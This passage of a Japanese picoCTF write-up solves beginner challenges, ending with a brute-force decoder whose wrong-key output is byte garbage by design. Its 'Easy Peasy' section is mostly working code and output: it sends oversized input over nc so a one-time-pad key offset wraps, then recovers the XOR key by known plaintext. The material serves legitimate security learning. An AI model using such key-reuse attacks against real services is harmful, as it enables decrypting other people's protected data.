	str	w1, [sp, 8]         ## stores the value of w1 to stack+8
	ldr	w1, [sp, 12]        ## loads the value of stack+12 to w1
	ldr	w0, [sp, 8]         ## loads the value of stack+8 to w0
	cmp	w1, w0              ## w1 - w0 
	bls	.L2                 ## jump to L2 if w1 is less than w0
	ldr	w0, [sp, 12]        ## loads the value of stack+12 to w0
	b	.L3                 ## jump to L3
.L2:
	ldr	w0, [sp, 8]         ## loads the value of stack+8 to w0
.L3:
	add	sp, sp, 16
	ret
	.size	func1, .-func1
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function

どうやら2つの引数の値を比較して大きい方の値を返す様である。

266134863と1592237099では1592237099の方が大きいので、この値がフラグとなる。

あとは問題文の指示通り1592237099を小文字の16進数に変換して(0xは含めないかつ32ビット形式) picoCTF{XXXXXXXX}に埋め込めば良い。

>>> hex(1592237099)

Lets Warm Up (50points)

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?

>>> 0x70
112
>>> chr(112)
'p'

vault-door-training (50points)

Javaのソースコードからフラグを読み取るだけの問題。

cat VaultDoorTraining.java

Insp3ct0r (50points)

3つに分割されたフラグがウェブページのソースコードに埋め込まれている。

最初のフラグ文字列はhttps://jupiter.challenges.picoctf.org/problem/41511/ のソースコードのコメントに埋め込まれている。

	</p>
	<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
      </div>

https://jupiter.challenges.picoctf.org/problem/41511/ にはCSSファイルmycss.css とJavaScript myjs.jsへのリンクが含まれている。

<html>
  <head>
    <title>My First Website :)</title>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="mycss.css">
    <script type="application/javascript" src="myjs.js"></script>
  </head>

これらの2つのリンクのソースコードのコメントに残りのフラグ文字列が埋め込まれている。

Glory of the Garden (50points)

渡された画像ファイルにstringsをかけたらフラグを取得できた。

strings garden.jpeg | grep -i pico

Warmed Up (50points)

What is 0x3D (base 16) in decimal (base 10)?

>>> 0x3D
61

The Numbers (50points)

以下の暗号化されたフラグを解読する問題。

上記の数字はアルファベットの位置を表している。16番目のアルファベットはp、9番目のアルファベットはi、3番目のアルファベットはc、15番目のアルファベットはoといった具合に解読していけばフラグを取得できる。

以下のPythonコードを用いて解読した。

>>> alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
>>> alpha[16-1] + alpha[9-1] + alpha[3-1] + alpha[15-1] + alpha[3-1] + alpha[20-1] + alpha[6-1] + '{' + alpha[20-1] + alpha[8-1] + alpha[5-1] + alpha[14-1] + alpha[21-1] + alpha[13-1] + alpha[2-1] + alpha[5-1] + alpha[18-1] + alpha[19-1] + alpha[13-1] + alpha[1-1] + alpha[19-1] + alpha[15-1] + alpha[14-1] + '}'

2Warm (50points)

Can you convert the number 42 (base 10) to binary (base 2)?

>>> bin(42)
'0b101010'

Wireshark doo dooo do doo... (50points)

PCAPを解析してフラグを取得する問題。

WiresharkでTCPストリームを眺めていたところ、TCPストリーム番号5 (tcp.stream eq 5) にて以下のHTTPリクエストおよびレスポンスを発見した。

GET / HTTP/1.1
Host: 18.222.37.134
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK
Date: Mon, 10 Aug 2020 01:51:45 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 07 Aug 2020 00:45:02 GMT
ETag: "2f-5ac3eea4fcf01"
Accept-Ranges: bytes
Content-Length: 47
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}

レスポンスのボディ部分にROT13暗号化が施されたフラグ文字列 Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs} が含まれている。この文字列をROT13復号すればフラグを取得できる。CyberChefを使用して復号した。

Easy Peasy (40points)

遠隔のサーバー (nc mercury.picoctf.net 36981) で実行されているPythonプログラムを解析してフラグを取得する問題。

以下はPythonプログラムのソースコード。

#!/usr/bin/python3 -u
import os.path

KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"


def startup(key_location):
	flag = open(FLAG_FILE).read()
	kf = open(KEY_FILE, "rb").read()

	start = key_location
	stop = key_location + len(flag)

	key = kf[start:stop]
	key_location = stop

	result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key))
	print("This is the encrypted flag!\n{}\n".format("".join(result)))

	return key_location

def encrypt(key_location):
	ui = input("What data would you like to encrypt? ").rstrip()
	if len(ui) == 0 or len(ui) > KEY_LEN:
		return -1

	start = key_location
	stop = key_location + len(ui)

	kf = open(KEY_FILE, "rb").read()

	if stop >= KEY_LEN:
		stop = stop % KEY_LEN
		key = kf[start:] + kf[:stop]
	else:
		key = kf[start:stop]
	key_location = stop

	result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key))

	print("Here ya go!\n{}\n".format("".join(result)))

	return key_location


print("******************Welcome to our OTP implementation!******************")
c = startup(0)
while c >= 0:
	c = encrypt(c)

上記のプログラムは起動時にflag というファイルから32バイトのフラグを読み出し、key というファイルから同じく先頭32バイトのデータを読み出し、両者をXORさせて、XOR後のフラグをHex形式で出力する。

フラグの出力が完了するとユーザーからの入力を待ち受け、入力された値とファイル keyから読み出された値をXORする。ファイル key からはユーザーの入力したデータ・サイズと同等のバイトが読み出される。例えば、ユーザーが4バイトのデータを入力した場合、ファイル keyからは同じく4バイトのデータが読み出される。

$ nc mercury.picoctf.net 36981
******************Welcome to our OTP implementation!******************
This is the encrypted flag!
5541103a246e415e036c4c5f0e3d415a513e4a560050644859536b4f57003d4c

What data would you like to encrypt? hoge
Here ya go!
590e5939

What data would you like to encrypt? 

フラグのXOR演算に使用された鍵を特定できれば、その鍵とエンコードされたフラグ (0x5541103a246e415e036c4c5f0e3d415a513e4a560050644859536b4f57003d4c) を再びXORさせることで平文のフラグを取得できるのだが、問題はXOR鍵として使用されるファイル key のオフセットが毎回更新されることである。

フラグはファイル key の先頭32バイト、つまりオフセット 0から32まで (key_file[0:32]) の値とXORされているのだが、次にユーザーの入力した値をXORする時にはファイル key のオフセットは32に更新されている。つまりユーザーの入力した値をXORする際にはファイル key のオフセット 0から32までの値ではなく、オフセット 32 (key_file[32:n]) からの値が使用される。この時、ユーザーが4バイトのデータを入力したとする。するとファイル keyからはオフセット32から36まで (key_file[32:36]) のデータが読み出され、次にユーザーの入力値をXORする時にはファイル key からはオフセット 36 (key_file[36:n])からの値が読み出される。

ユーザーの入力値のサイズに応じてXOR鍵が毎回変化するのであれば鍵を特定することは不可能だが、ソースコードの29行目から39行目にて以下のコードを発見した。

	start = key_location
	stop = key_location + len(ui)

	kf = open(KEY_FILE, "rb").read()

	if stop >= KEY_LEN:
		stop = stop % KEY_LEN
		key = kf[start:] + kf[:stop]
	else:
		key = kf[start:stop]
	key_location = stop

上記のコードによるとファイル key の読み出し終了位置 (stop) の値が50000 (KEY_LEN)より大きいか等しかった場合、stopKEY_LEN のmodをとってstopの値を上書きする。stop の値はkey_locationにコピーされる。このkey_locationの値はstart にコピーされ、startの値はファイル key のオフセットとして使用される。

つまり、上手く入力値を調整してstop = stop % KEY_LENstop に0を代入することが出来れば、次のユーザー入力値はファイル key のオフセット0からの値とXOR される。この時、入力値として32バイトのデータを入力すれば、ファイル key のオフセット0から32までの値、つまり最初にフラグをXORエンコードした時と同一の鍵が使用されることになる。平文と対応する暗号文が入手できれば後はknown plaintext attackの要領でXOR鍵を特定することができる。

まずはstop = stop % KEY_LENに0を代入する方法だが、stopの値が更新される箇所は合計で2つある。

1つ目はコードの30行目。

stop = key_location + len(ui) # stop = 32 + length of user input

プログラムが起動してフラグがXORエンコードされるとkey_locationの値は32になる。これにユーザーの入力値のデータサイズを加算した値がstop に代入される。

更新された stop の値がKEY_LEN (50000) より大きいか等しい場合、以下の35行目のコードが実行されてstop の値が再び更新される。

stop = stop % KEY_LEN # (32 + 49968) % 50000 = 0

KEY_LEN の値は50000で固定されているので、stop = 50000 % 50000 となるように入力値を調整すればstopの値を0に書き換えられる。

初回の入力時に49968バイトのデータを入力すればkey_locationに代入されている32と合わせて50000となり、stop の値を0に書き換えられる。

Pythonでaを49968バイト分 生成。

>>> "a" * 49968

入力値として49968バイトのa をプログラムに渡す。

(echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <snip> aaa' ; cat) | nc mercury.picoctf.net 36981

続いてa を32バイト入力。

What data would you like to encrypt? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Here ya go!
0346483f243d1959563d1907563d1903543d190551023d1959073d1902573d19

平文 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa と、入手したXOR暗号文 0x0346483f243d1959563d1907563d1903543d190551023d1959073d1902573d19 を元にknown plain text attack で暗号化に使用された鍵を特定する。

以下のPythonスクリプトを書いた。

import binascii

#plain_flag = bytearray(binascii.hexlify(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'))
plain_flag = bytearray(binascii.unhexlify(b'6161616161616161616161616161616161616161616161616161616161616161'))
encrypted_flag = bytearray(binascii.unhexlify('0346483f243d1959563d1907563d1903543d190551023d1959073d1902573d19'))
key = 0
key_list = bytearray(len(plain_flag))
i = 0

while (i < len(plain_flag)):
	if (encrypted_flag[i] == (plain_flag[i] ^ key)):
		#print(key)
		key_list[i] = key
		print(str('XOR key is: ') + str(binascii.hexlify(key_list)))
		key = 0
		i += 1
	else:
		key += 1

実行結果。

$ python3 key-cracker.py 
XOR key is: b'6200000000000000000000000000000000000000000000000000000000000000'
XOR key is: b'6227000000000000000000000000000000000000000000000000000000000000'
XOR key is: b'6227290000000000000000000000000000000000000000000000000000000000'
XOR key is: b'6227295e00000000000000000000000000000000000000000000000000000000'
XOR key is: b'6227295e45000000000000000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c0000000000000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7800000000000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838000000000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838370000000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c00000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c78000000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c78660000000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c78663700000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c000000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c780000000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c786200000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c786235000000000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c0000000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c7800000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c7864000000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c7864300000000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c7864306300000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c000000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c780000000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c783800000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c783866000000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c7838665c0000000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c7838665c7800000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c7838665c7863000000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c7838665c7863360000'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c7838665c7863365c00'
XOR key is: b'6227295e455c7838375c7866375c7862355c786430635c7838665c7863365c78'

暗号鍵は0x6227295e455c7838375c7866375c7862355c786430635c7838665c7863365c78 と判明。

(後で気がついたのだが、こんなことをしなくても平文 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa と、入手したXOR暗号文 0x0346483f243d1959563d1907563d1903543d190551023d1959073d1902573d19 をXORすれば鍵を入手できる。)

後は暗号化されたフラグ0x5541103a246e415e036c4c5f0e3d415a513e4a560050644859536b4f57003d4c と鍵 0x6227295e455c7838375c7866375c7862355c786430635c7838665c7863365c78をXORすればフラグを復号できる。

Scavenger Hunt (50points)

5つに分割されたフラグがWebサーバー上のページに隠されている。

1つ目のフラグ文字列はhttp://mercury.picoctf.net:39698/のソースコードにコメントとして埋め込まれている。

<!-- Here's the first part of the flag: picoCTF{t -->

http://mercury.picoctf.net:39698/にはCSSファイルmycss.css とJavaScript myjs.jsへのリンクが含まれている。

  <head>
    <title>Scavenger Hunt</title>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="mycss.css">
    <script type="application/javascript" src="myjs.js"></script>
  </head>

2つ目のフラグ文字列はhttp://mercury.picoctf.net:39698/mycss.cssにコメントとして埋め込まれている。

/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */

続いてhttp://mercury.picoctf.net:39698/myjs.jsへアクセスするとコメントの中に以下のヒントを発見した。

/* How can I keep Google from indexing my website? */

ヒントをもとにhttp://mercury.picoctf.net:39698/robots.txtへアクセスしたところ、3つ目のフラグ文字列と次のフラグの場所のヒントを発見した。

User-agent: *
Disallow: /index.html
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?

ヒントを元にhttp://mercury.picoctf.net:39698/.htaccessへアクセスしたところ、4つ目のフラグ文字列と次のフラグの場所のヒントを発見した。

# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.

ヒントを元にhttp://mercury.picoctf.net:39698/.DS_Storeへアクセスしたところ、5つ目のフラグ文字列を発見した。

後は集めた5つのフラグ文字列を連結するだけ。

MacroHard WeakEdge (60points)

PowerPoint ファイルを解析してフラグを取得する問題。

PowerPoint ファイルをざっくり調べてみるとppt/slideMasters/hidden という如何にもなファイルを発見した。

$ 7z l Forensics\ is\ fun.pptm 

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Listing archive: Forensics is fun.pptm

--
Path = Forensics is fun.pptm
Type = zip
Physical Size = 100093

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
1980-01-01 00:00:00 .....        10660          674  [Content_Types].xml
1980-01-01 00:00:00 .....          738          259  _rels/.rels
1980-01-01 00:00:00 .....         5197          951  ppt/presentation.xml
1980-01-01 00:00:00 .....          311          189  ppt/slides/_rels/slide46.xml.rels
1980-01-01 00:00:00 .....         1740          688  ppt/slides/slide1.xml
1980-01-01 00:00:00 .....         1681          657  ppt/slides/slide2.xml
1980-01-01 00:00:00 .....         1681          659  ppt/slides/slide3.xml
<snip>
2020-10-23 14:31:58 ..H.A           99           81  ppt/slideMasters/hidden
------------------- ----- ------------ ------------  ------------------------
                                237329        77909  153 files, 0 folders
$ 7z x Forensics\ is\ fun.pptm

$ cd ppt/slideMasters/

$ ls
hidden  _rels  slideMaster1.xml

$ file hidden 
hidden: ASCII text, with no line terminators

PowerPointを解凍してファイル hiddenの中身を確認すると、Base64と思しき文字列が記載されていた。

$ cat hidden 
Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q

上記の文字列をBase64デコードしたらフラグを取得できた。

echo ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ | base64 -d

ARMssembly 1 (70points)

以下のARMアセンブリ命令を解読してフラグを取得する問題。

	.arch armv8-a
	.file	"chall_1.c"
	.text
	.align	2
	.global	func
	.type	func, %function
func:
	sub	sp, sp, #32
	str	w0, [sp, 12]
	mov	w0, 87
	str	w0, [sp, 16]
	mov	w0, 3
	str	w0, [sp, 20]
	mov	w0, 3
	str	w0, [sp, 24]
	ldr	w0, [sp, 20]
	ldr	w1, [sp, 16]
	lsl	w0, w1, w0
	str	w0, [sp, 28]
	ldr	w1, [sp, 28]
	ldr	w0, [sp, 24]
	sdiv	w0, w1, w0
	str	w0, [sp, 28]
	ldr	w1, [sp, 28]
	ldr	w0, [sp, 12]
	sub	w0, w1, w0
	str	w0, [sp, 28]
	ldr	w0, [sp, 28]
	add	sp, sp, 32
	ret
	.size	func, .-func
	.section	.rodata
	.align	3
.LC0:
	.string	"You win!"
	.align	3
.LC1:
	.string	"You Lose :("
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	str	w0, [x29, 44]
	ldr	w0, [x29, 44]
	bl	func
	cmp	w0, 0
	bne	.L4
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	bl	puts
	b	.L6
.L4:
	adrp	x0, .LC1
	add	x0, x0, :lo12:.LC1
	bl	puts
.L6:
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

上記のプログラムに適切な引数を渡してYou win!と言わせよとのこと。

ARMアセンブリは完全に門外漢だがネットに転がっているレファレンスを参考に頑張って読んでみた。

分かりやすいようにコメントを入れた。

	.arch armv8-a
	.file	"chall_1.c"
	.text
	.align	2
	.global	func
	.type	func, %function
func:
	sub	sp, sp, #32
	str	w0, [sp, 12] // store the value of w0 to stack+12
	mov	w0, 87       // copy 87 to w0
	str	w0, [sp, 16] // stores the value 87 to stack+16
	mov	w0, 3        // copy 3 to w0
	str	w0, [sp, 20] // stores the value 3 to stack+20
	mov	w0, 3        // copy 3 to w0
	str	w0, [sp, 24] // stores the value 3 to stack+24
	ldr	w0, [sp, 20] // loads the value of stack+20 (3) to w0
	ldr	w1, [sp, 16] // loads the value of stack+16 (87) to w1
	lsl	w0, w1, w0   // w0 = w1 << w0 (w0 = 87 << 3)
	str	w0, [sp, 28] // stores the value of w0 to stack+28
	ldr	w1, [sp, 28] // loads the value of stack+28 to w1
	ldr	w0, [sp, 24] // loads the value of stack+24 (3) to w0
	sdiv	w0, w1, w0 // w0 = w1 / w0 (w0 = 696 / 3)
	str	w0, [sp, 28] // stores the value of w0 to stack+28
	ldr	w1, [sp, 28] // loads the value of stack+28 to w1
	ldr	w0, [sp, 12] // loads the value of stack+12 to w0
	sub	w0, w1, w0   // w0 = w1 - w0 (w0 = 232 - arg1)
	str	w0, [sp, 28] // stores the value of w0 to stack+28
	ldr	w0, [sp, 28] // loads the value of stack+28 to w0
	add	sp, sp, 32
	ret
	.size	func, .-func
	.section	.rodata
	.align	3
.LC0:
	.string	"You win!"
	.align	3
.LC1:
	.string	"You Lose :("
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	str	w0, [x29, 44]
	ldr	w0, [x29, 44]
	bl	func
	cmp	w0, 0
	bne	.L4 // jump to Lose if w0 is not equal to 0
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	bl	puts // print "You win!"
	b	.L6
.L4:
	adrp	x0, .LC1    // "You Lose :("
	add	x0, x0, :lo12:.LC1
	bl	puts
.L6:
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

プログラムの処理内容は以下の通り。

  1. 整数87を左に3桁シフトする。シフト後の値は696。(87 << 3 = 696)
  2. 整数696から3 除算する。除算後の値は232。(696 / 3 = 232)
  3. 整数232から引数に渡された値を減算する。(232 - arg1 = n)
  4. 減算後の値が0と等しくない場合は You Lose :( と表示する。
  5. 減算後の値が0と等しい場合はYou win! と表示する。

よってプログラムにYou win! と言わせるには232を引数に渡せば良い。

参考までにアセンブリをPythonコードに置き換えてみた。

import sys

def func():
	left_shifted_num = 87 << 3
	divided_num = left_shifted_num / 3
	final_result = divided_num - int(sys.argv[1])

	return final_result


if (func() != 0):
	print(str("You Lose :("))
else:
	print(str("You win!"))
$ python3 pseudo-code.py 100
You Lose :(
$ python3 pseudo-code.py 232
You win!

あとは問題文の指示通り232を小文字の16進数に変換して(0xは含めないかつ32ビット形式) picoCTF{XXXXXXXX}に埋め込めば良い。

>>> hex(232)

Some Assembly Required 1 (70points)

Webサイト http://mercury.picoctf.net:36152/index.html を解析してフラグを取得する問題。

http://mercury.picoctf.net:36152/index.html をChrome Developer toolsでデバッグしてみたところ、WebAssembly (Wasm) を発見。a784ba16 というファイルの中にフラグがハードコードされていた。

speeds and feeds (50points)

遠隔のサーバー (nc mercury.picoctf.net 53740) で実行されているプログラムを解析してフラグを取得する問題。

サーバーに接続したところ、以下の謎のデータが吐き出された。

$ nc mercury.picoctf.net 53740
G17 G21 G40 G90 G64 P0.003 F50
G0Z0.1
G0Z0.1
G0X0.8276Y3.8621
G1Z0.1
G1X0.8276Y-1.9310
G0Z0.1
G0X1.1034Y3.8621
G1Z0.1
G1X1.1034Y-1.9310
G0Z0.1
G0X1.1034Y3.0345
G1Z0.1
G1X1.6552Y3.5862
G1X2.2069Y3.8621
G1X2.7586Y3.8621
G1X3.5862Y3.5862
G1X4.1379Y3.0345
G1X4.4138Y2.2069
G1X4.4138Y1.6552
G1X4.1379Y0.8276
G1X3.5862Y0.2759
G1X2.7586Y0.0000
G1X2.2069Y0.0000
G1X1.6552Y0.2759
G1X1.1034Y0.8276
G0Z0.1
G0X2.7586Y3.8621
G1Z0.1
G1X3.3103Y3.5862
G1X3.8621Y3.0345
G1X4.1379Y2.2069
G1X4.1379Y1.6552
G1X3.8621Y0.8276
G1X3.3103Y0.2759
<snip>

何のデータなのか皆目見当がつかなかったので、早々にヒントを確認した。以下、ヒント。

What language does a CNC machine use?

ググってみたところ、CNCとはComputer Numerical Controlの略でG-codeという言語を使っているらしい。オンラインのデコーダーも複数見つかった。

以下のコマンドでG-codeをファイルに保存。

nc mercury.picoctf.net 53740 > g-code.txt

保存したG-codeのソースコードをこちらのサイトにアップロードしたところ、フラグを取得できた。

New Caesar (60points)

Pythonプログラムのソースコードを解析して暗号化されたフラグを復号する問題。

以下は暗号化されたフラグ。

dcebcmebecamcmanaedbacdaanafagapdaaoabaaafdbapdpaaapadanandcafaadbdaapdpandcac

以下はフラグの暗号化に使用されたPythonプログラムのソースコード。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_encode(plain):
	enc = ""
	for c in plain:
		binary = "{0:08b}".format(ord(c))
		enc += ALPHABET[int(binary[:4], 2)]
		enc += ALPHABET[int(binary[4:], 2)]
	return enc

def shift(c, k):
	t1 = ord(c) - LOWERCASE_OFFSET
	t2 = ord(k) - LOWERCASE_OFFSET
	return ALPHABET[(t1 + t2) % len(ALPHABET)]

flag = "redacted"
key = "redacted"
assert all([k in ALPHABET for k in key])
assert len(key) == 1

b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
	enc += shift(c, key[i % len(key)])
print(enc)

コードを解析してコメントを入れてみた。

import string

LOWERCASE_OFFSET = ord("a") # 97
ALPHABET = string.ascii_lowercase[:16] # abcdefghijklmnop

def b16_encode(plain):
	enc = ""
	for c in plain:
		binary = "{0:08b}".format(ord(c))
		enc += ALPHABET[int(binary[:4], 2)] # first 4bits
		enc += ALPHABET[int(binary[4:], 2)] # second 4bits
	return enc

def shift(c, k):
	t1 = ord(c) - LOWERCASE_OFFSET # ord(c) - 97
	t2 = ord(k) - LOWERCASE_OFFSET # ord(k) - 97
	return ALPHABET[(t1 + t2) % len(ALPHABET)] # ALPHABET[(t1 + t2) % 16

flag = "redacted"
key = "redacted"
assert all([k in ALPHABET for k in key]) # key must be selected from "abcdefghijklmnop"
assert len(key) == 1 # and key is 1 byte so the key is one of "abcdefghijklmnop"

b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
	enc += shift(c, key[i % len(key)]) # enc += shift(c, key[0])
print(enc)

上記のプログラムの処理内容は以下の通り。

  • 平文のフラグを独自のアルゴリズムでエンコードする。言葉で説明するのは難儀なので詳しくはb16_encode()のソースコードを参照。簡単に説明すると平文を1バイト (8ビット)ずつ取り出しビットに変換 -> 上位4ビットを整数に変換して変数ALPHABET (小文字のアルファベット a~pが格納されている)のインデックスとして使用し、変数ALPHABETから取り出されたアルファベットを変数encに連結。続いて平文の下位4ビットを整数に変換して変数ALPHABETのインデックスとして使用し、変数ALPHABETから取り出されたアルファベットを変数encに連結する。よって平文を1バイト エンコードするとエンコード後のデータは2バイトとなる。
  • エンコード後のフラグを1バイトずつ取り出し、任意の鍵を元にバイトをこねくり回して暗号化する。ただし、使用される鍵のサイズは1バイトで小文字のアルファベットa~pのいずれかでなければいけない。詳しくはshift()のソースコードを参照。

最終的な暗号化に使用される暗号鍵は1バイトで、しかも小文字のアルファベットa~pのいずれかと限定されているので、デコード処理と復号処理を正しく書ければ鍵を総当たりすることでフラグを取れそう。

試しにデコード処理と復号処理を行うスクリプトを書いてテスト用の暗号文を正しく復号できるか確認してみた。

まずはフラグにhoge、鍵にb を指定して暗号化のスクリプトを実行。

$ python3 new_caesar.py 
hjhahihg

hogeが暗号化されhjhahihgという暗号文が手に入った。

続いて以下のデコード処理と復号処理を行うスクリプトを書いた。暗号文にhjhahihgを指定し、鍵にはbを指定した。

import string

encoded_flag = "hjhahihg"
key = "b"

LOWERCASE_OFFSET = ord("a") # 97
ALPHABET = string.ascii_lowercase[:16] # abcdefghijklmnop

def b16_decode(encoded):
	dec = ""
	for i in range(0, len(encoded), 2):
		#print(encoded[i])
		#print(encoded[i+1])
		concatenated_bits = format(ALPHABET.find(encoded[i]), '04b') + format(ALPHABET.find(encoded[i+1]), '04b')
		#print(concatenated_bits)
		dec += chr(int(concatenated_bits, 2))
		#print(dec)
	return dec

def shift_revert(c, k):
	t1 = ord(c) + LOWERCASE_OFFSET
	t2 = ord(k) + LOWERCASE_OFFSET
	return ALPHABET[(t1 - t2) % len(ALPHABET)] # ALPHABET[(t1 + t2) % 16



assert all([k in ALPHABET for k in key]) # key must be selected from "abcdefghijklmnop"
assert len(key) == 1 # and key is 1 byte so the key is one of "abcdefghijklmnop"
enc = ""
for i, c in enumerate(encoded_flag):
	enc += shift_revert(c, key[i % len(key)]) # enc += shift(c, key[0])
print(enc)
print(b16_decode(enc))

スクリプトを実行したところ、hogeという元の平文を復号できた。

$ python3 decoder.py 
gigpghgf
hoge

デコード処理と復号処理が正しく機能していることが確認できたので、鍵を総当たりしてフラグを復号するスクリプトを書いた。

import string

encoded_flag = "dcebcmebecamcmanaedbacdaanafagapdaaoabaaafdbapdpaaapadanandcafaadbdaapdpandcac"
key_list = "abcdefghijklmnop"

LOWERCASE_OFFSET = ord("a") # 97
ALPHABET = string.ascii_lowercase[:16] # abcdefghijklmnop

def b16_decode(encoded):
	dec = ""
	for i in range(0, len(encoded), 2):
		#print(encoded[i])
		#print(encoded[i+1])
		concatenated_bits = format(ALPHABET.find(encoded[i]), '04b') + format(ALPHABET.find(encoded[i+1]), '04b')
		#print(concatenated_bits)
		dec += chr(int(concatenated_bits, 2))
		#print(dec)
	return dec

def shift_revert(c, k):
	t1 = ord(c) + LOWERCASE_OFFSET
	t2 = ord(k) + LOWERCASE_OFFSET
	return ALPHABET[(t1 - t2) % len(ALPHABET)] # ALPHABET[(t1 + t2) % 16

shift_reverted_flag = ""

for key in key_list:
	for c in encoded_flag:
		shift_reverted_flag += shift_revert(c, key)
		#print('shift_reverted_flag: ' + shift_reverted_flag)
	decrypted_flag = b16_decode(shift_reverted_flag)
	print('decrypted_flag: ' + decrypted_flag)
	shift_reverted_flag = ""

実行結果。

$ python3 new_caesar-bruteforce.py 
decrypted_flag: 2A,AB
210?                 ,
decrypted_flag: !01ûüóñ/üôõþ/ýðÿô þ.ÿþòüü!ôÿ /þ.ü!ñ
decrypted_flag: /
/ ê
ëâàëãäíìïîãíîíáëëãîíëà
ÛÞÝÒÜpted_flag: ùÙùÚÑß
Ü    ÝÜÐÚÚÒÝ
 Úß
ÈèÉÀýÎüÉÁÂËüÊÍÌÁýËûÌËÏÉÉþÁÌýüËûÉþÎ
decrypted_flag: íü×üý·×¸¿ì½ë¸°±ºë¹¼»°ìºê»º¾¸¸í°»ìëºê¸í½
decrypted_flag: ÜëÆëì¦Æ§®Û¬Ú§¯ ©Ú¨«ª¯Û©Ùª©­§§Ü¯ªÛک٧ܬ
decrypted_flag: ËÚµÚەµ–Ê›É–žŸ˜É—š™žÊ˜È™˜œ––Ëž™ÊɘȖ˛
decrypted_flag: ºÉ¤Éʄ¤…Œ¹Š¸…Ž‡¸†‰ˆ¹‡·ˆ‡‹……ºˆ¹¸‡·…ºŠ
